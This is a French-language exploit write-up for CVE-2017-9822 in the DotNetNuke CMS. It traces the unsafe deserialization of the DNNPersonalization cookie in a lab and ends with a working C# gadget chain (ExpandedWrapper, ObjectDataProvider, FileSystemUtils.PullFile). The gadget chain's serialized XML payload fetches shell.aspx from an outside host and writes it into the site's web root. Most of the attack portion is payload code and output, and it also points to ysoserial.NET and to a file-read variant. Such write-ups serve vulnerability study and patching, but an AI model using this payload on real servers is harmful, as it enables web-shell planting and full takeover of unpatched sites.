
Analyse détaillée et preuve de concept d'exploitation pour CVE-2017-9822, une vulnérabilité XXE/désérialisation non sécurisée dans le CMS DotNetNuke menant à une exécution de code à distance via la manipulation de cookies.
DotNetNuke (souvent abrégé DNN) est une plateforme CMS (Content Management System) et un framework d'application web basé sur la technologie ASP.NET de Microsoft.
Produit concerné : DotNetNuke (DNN Platform) – un CMS/portail .NET populaire.
Date de publication : Juillet 2017.
Sévérité : Critique (CVSS ~9.8).
Type de vulnérabilité : XML External Entity (XXE) / Désérialisation non sécurisée → Exécution de code à distance (RCE).
Impact : avant la version 9.1.1, exécution de code à distance possible via le cookie
Ici, j'utilise Windows 10 pour installer et déboguer le programme. La version que j'installe est 9.1.0. Vous pouvez consulter la méthode d'installation ici. Et voici le résultat une fois terminé :


D'après les rapports que j'ai lus, cette vulnérabilité se situe au niveau du traitement des cookies de DotNetNuke.
DNN utilise une désérialisation non sécurisée (unsafe deserialization) pour le cookie DNNPersonalization.

.dll ou .exe écrits en .NET. Vous pouvez l'installer ici. Nous devons télécharger 2 versions pour le débogage.
DotNetNuke.dll avec la version 32 bits, puis choisissez Edit Assembly Attributes (C#).
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
par
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]

Ensuite, enregistrez.
Attach to Process.
w3wp.exe.
La raison de choisir w3wp.exe est :
w3wp.exe = processus de travail IIS (IIS Worker Process).
C'est le processus d'exécution de l'Application Pool dans IIS.
Lorsqu'une requête HTTP est envoyée au site web, IIS crée ou réutilise un processus w3wp.exe pour traiter cette requête (exécution du code ASP.NET, gestion des modules, middleware, connexions à la base de données...).
Chaque Application Pool peut avoir un ou plusieurs processus w3wp.exe selon la configuration (web garden, recycling).
Ensuite, sélectionnez Debug -> Window -> Modules.

Une fois terminé, les modules apparaissent. Faites un clic droit sur n'importe quel module et sélectionnez Open All Modules.

Et enfin, tous les assemblys liés à DNN apparaîtront.

DotNetNuke.dll -> PersonalizationController#LoadProfile(int, int).
Cette fonction sert à charger les données de personnalisation (profil) de l'utilisateur dans le portail DNN.
Si l'utilisateur est connecté → le profil est récupéré depuis la base de données + le cache.
Si l'utilisateur est anonyme (non connecté) → le profil est récupéré depuis le cookie DNNPersonalization.
Ici, nous devrions nous concentrer sur DNNPersonalization.
Si userId n'est pas valide (utilisateur anonyme).
Vérifie si la requête contient le cookie DNNPersonalization.
Si c'est le cas → récupère la valeur XML de ce cookie.
Nous allons envoyer une requête 404 au site web avec un cookie DNNPersonalization quelconque, puis utiliser dnSpy pour placer un point d'arrêt (breakpoint) dans DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int) ; le débogage fonctionnera alors.


PortalSettings.
Ce qui est intéressant, c'est qu'une condition if est utilisée ici pour vérifier si la requête actuelle est IsAuthenticated ou non.
Et comme la requête que nous envoyons est une 404 -> unauthenticated.
En continuant dans la pile d'appels, concentrons-nous sur Handle404OrException.

context.User de la requête actuelle est null ; si c'est le cas, elle affecte à context.User l'utilisateur du thread actuel.

On voit que dans Handle404OrException, la variable IsAuthenticated a maintenant la valeur true et l'utilisateur est celui du serveur IIS ; la requête est donc traitée comme un utilisateur authentifié.
La cause du problème se trouve dans ce morceau de code :
else if (transfer)
{
if (context.User == null)
{
context.User = Thread.CurrentPrincipal;
}
response.TrySkipIisCustomErrors = true;
IHttpHandler handler = new CDefault();
context.Handler = handler;
server.Transfer("~/" + text, true);
}
Si context.User n'existe pas → affecte Thread.CurrentPrincipal (c'est-à-dire l'identité actuelle du thread).
Cela donne à la requête les informations sur l'utilisateur/rôle lors du traitement suivant.
=> Ainsi, lorsque nous transmettons n'importe quel contenu dans le cookie DNNPersonalization, il est traité comme un utilisateur normal.
Toujours dans DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int).
Nous voyons que la variable text reçoit la valeur du cookie, puis est passée en entrée à Globals.DeserializeHashTableXml().

Globals.DeserializeHashTableXml().
La fonction DeserializeHashTableXml a pour rôle :
Recevoir une chaîne XML (Source).
Analyser cette chaîne XML pour la convertir en un objet Hashtable.
Pendant l'analyse, elle appelle la fonction XmlUtils.DeSerializeHashtable avec le paramètre "profile" pour désigner le nœud racine XML.
À l'intérieur de XmlUtils.DeSerializeHashtable, nous voyons comment elle traite :

La fonction DeSerializeHashtable reçoit une chaîne XML et la convertit en Hashtable. Pour chaque nœud <item>, elle va :
Prendre key comme clé.
Prendre type puis appeler Type.GetType(type) pour déterminer le type de données.
Utiliser XmlSerializer.Deserialize pour transformer le contenu XML en véritable objet.
L'ajouter au Hashtable.
👉 Problème : type et le contenu XML sont entièrement contrôlés par l'utilisateur (via le cookie DNNPersonalization).
En nous basant sur XmlUtils#DeSerializeHashtable, le point vulnérable, créons un programme qui sérialise et désérialise les objets de la même manière :
using System.Xml;
using System.Diagnostics;
using System.Xml.Serialization;
namespace example
{
public class Test
{
private string _name;
public string name
{
get { return _name; }
set { this._name = value; execCMD(); }
}
private void execCMD()
{
Process process = new Process();
process.StartInfo.FileName = this._name;
process.Start();
process.Dispose(); // close
}
}
public class Program
{
private static string fileFolder = "D:\\lab\\csharp\\DNN\\example\\serialization\\";
public static void Serialize(Object obj) // method xml serialize arbitrary object
{
// tạo xml root element
XmlDocument xmlDocument = new XmlDocument();
XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
xmlDocument.AppendChild(xmlElementRoot);
// tạo node con item có attribute type chứa tên object type
XmlElement xmlElementItem = xmlDocument.CreateElement("item");
xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);
// serialize obj thành xmlDocumentObj
XmlDocument xmlDocumentObj = new XmlDocument();
XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
StringWriter stringWriter = new StringWriter();
xmlSerializer.Serialize(stringWriter, obj);
xmlDocumentObj.LoadXml(stringWriter.ToString());
// thêm xml serialized object này vào node item và thêm node item vào root element
xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));
xmlElementRoot.AppendChild(xmlElementItem);
File.WriteAllText( fileFolder + "obj.xml", xmlDocument.OuterXml);
}
public static void DeSerialize(string xmlSource, string rootname)
{
// Hashtable hashtable = new Hashtable();
if (!string.IsNullOrEmpty(xmlSource))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xmlSource);
foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
{
XmlElement xmlElement = (XmlElement)obj;
string attribute = xmlElement.GetAttribute("key");
string attribute2 = xmlElement.GetAttribute("type");
XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));
// hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
// custom
Object objResult = xmlSerializer.Deserialize(xmlReader);
Test testObj = (Test) objResult;
Console.WriteLine("Deserialize sucessful: " + testObj.name);
}
}
catch (Exception)
{
}
}
// return hashtable;
}
static void Main(string[] args)
{
// serialize
Test test = new Test();
test.name = "notepad.exe"
Serialize(test);
// deserialize
String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
DeSerialize(xmlSource, "profile");
}
}
}
xml ressemblera à ceci :<?xml version="1.0" encoding="utf-8"?>
<profile>
<item type="example.Test, ConsoleApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null">
<Test xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<name>notepad.exe</name>
</Test>
</item>
</profile>

PullFile de FileSystemUtils.
Explication :
PullFile(string URL, string FilePath) — méthode statique de FileSystemUtils permettant de télécharger le contenu d'une URL vers le chemin FilePath sur le système.
À l'intérieur, elle utilise WebClient.DownloadFile(URL, FilePath) — l'action de téléchargement et d'écriture du fichier.
Le catch journalise simplement l'erreur et retourne un message ; il ne relance pas l'exception.
Mais le problème est :
XmlSerializer ne peut pas sérialiser les méthodes d'une classe, seulement les champs et propriétés publics. Or, aucun des champs et propriétés publics de la classe FileSystemUtils ne permet d'appeler la méthode PullFile.
Parlons maintenant de la classe ObjectDataProvider.
ObjectDataProvider est une classe de WPF (namespace System.Windows.Data, module PresentationFramework.dll).
Capable d'appeler des méthodes à l'exécution — elle ne contient pas seulement des données, mais peut effectuer des actions (effets de bord) en appelant n'importe quelle méthode sur l'objet encapsulé.
Permet de passer des paramètres — un attaquant peut contrôler les paramètres transmis à la méthode (par exemple l'URL et le chemin de fichier pour une méthode PullFile).
ObjectDataProvider n'« exécute pas du code » comme un interpréteur — mais elle permet d'appeler n'importe quelle méthode publique sur l'objet encapsulé. Ainsi, s'il existe une méthode publique ayant un effet de bord dangereux (par exemple télécharger un fichier, exécuter un processus, écrire un fichier), la chaîne peut être réalisée.

Ici, elle appelle Refresh() de DataSourceProvider.

Ensuite, on arrive à BeginQuery() ; notez que ObjectDataProvider hérite de DataSourceProvider et nous passons au BbeginQuery() de ObjectDataProvider.

Continuons avec QueryWorker.

Elle appelle InvokeMethodOnInstance.

InvokeMethodOnInstance est la méthode d'invocation proprement dite — elle utilise la réflexion pour appeler la méthode spécifiée (MethodName) sur l'objet que ObjectDataProvider « encapsule » (ou sur ce type s'il est statique), transmet la liste MethodParameters, puis retourne le résultat de cette méthode.
J'utilise l'IDE JetBrains Rider pour écrire le script ; il faut référencer les modules DotNetNuke.dll et PresentationFramework.dll.

Le payload d'exécution est le suivant :
using System;
using System.IO;
using System.Xml;
using System.Xml.Serialization;
using System.Windows.Data; // ObjectDataProvider
using DotNetNuke.Common.Utilities; // FileSystemUtils (nếu bạn đã add DLL)
using System.Data.Services.Internal; // ExpandedWrapper (nếu có)
namespace example
{
public class Program
{
private static string fileFolder = "C:\\Users\\chinh\\Documents\\DNN"; // CHANGE THIS
public static void Serialize(Object obj) // method xml serialize arbitrary object
{
// tạo xml root element
XmlDocument xmlDocument = new XmlDocument();
XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
xmlDocument.AppendChild(xmlElementRoot);
// tạo node con item có attribute type chứa tên object type
XmlElement xmlElementItem = xmlDocument.CreateElement("item");
xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);
// serialize obj thành xmlDocumentObj
XmlDocument xmlDocumentObj = new XmlDocument();
XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
StringWriter stringWriter = new StringWriter();
xmlSerializer.Serialize(stringWriter, obj);
xmlDocumentObj.LoadXml(stringWriter.ToString());
// thêm xml serialized object này vào node item và thêm node item vào root element
xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));
xmlElementRoot.AppendChild(xmlElementItem);
File.WriteAllText(fileFolder + "obj.xml", xmlDocument.OuterXml);
}
public static void DeSerialize(string xmlSource, string rootname)
{
// Hashtable hashtable = new Hashtable();
if (!string.IsNullOrEmpty(xmlSource))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xmlSource);
foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
{
XmlElement xmlElement = (XmlElement)obj;
string attribute = xmlElement.GetAttribute("key");
string attribute2 = xmlElement.GetAttribute("type");
XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));
// hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
// custom
Object objResult = xmlSerializer.Deserialize(xmlReader);
}
}
catch (Exception)
{
}
}
// return hashtable;
}
static void Main(string[] args)
{
ExpandedWrapper<FileSystemUtils, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils();
expandedWrapper.ProjectedProperty0.MethodName = "PullFile";
expandedWrapper.ProjectedProperty0.MethodParameters.Add("https://192.168.72.102:8000/shell.aspx");
expandedWrapper.ProjectedProperty0.MethodParameters.Add("C:\\Web\\DNN_Platform_9.1.0.367_Install\\js\\shell.aspx");
Console.WriteLine("Done!!");
Serialize(expandedWrapper);
String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
DeSerialize(xmlSource, "profile");
}
}
}
Nous obtenons le fichier xml :
<profile>
<item key="myTableEntry" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>PullFile</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">http://192.168.72.102:8000/shell.aspx</anyType>
<anyType xsi:type="xsd:string">C:\Web\DNN_Platform_9.1.0.367_Install\js\shell.aspx</anyType>
</MethodParameters>
<ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
</item>
</profile>
Procédons à l'insertion du payload.



Lançons l'exploitation.

De plus, nous pouvons utiliser l'outil ysoserial.NET pour générer le payload.


De plus, nous pouvons aussi exploiter la lecture de fichier au niveau de WriteFile de la classe FileSystemUtils.

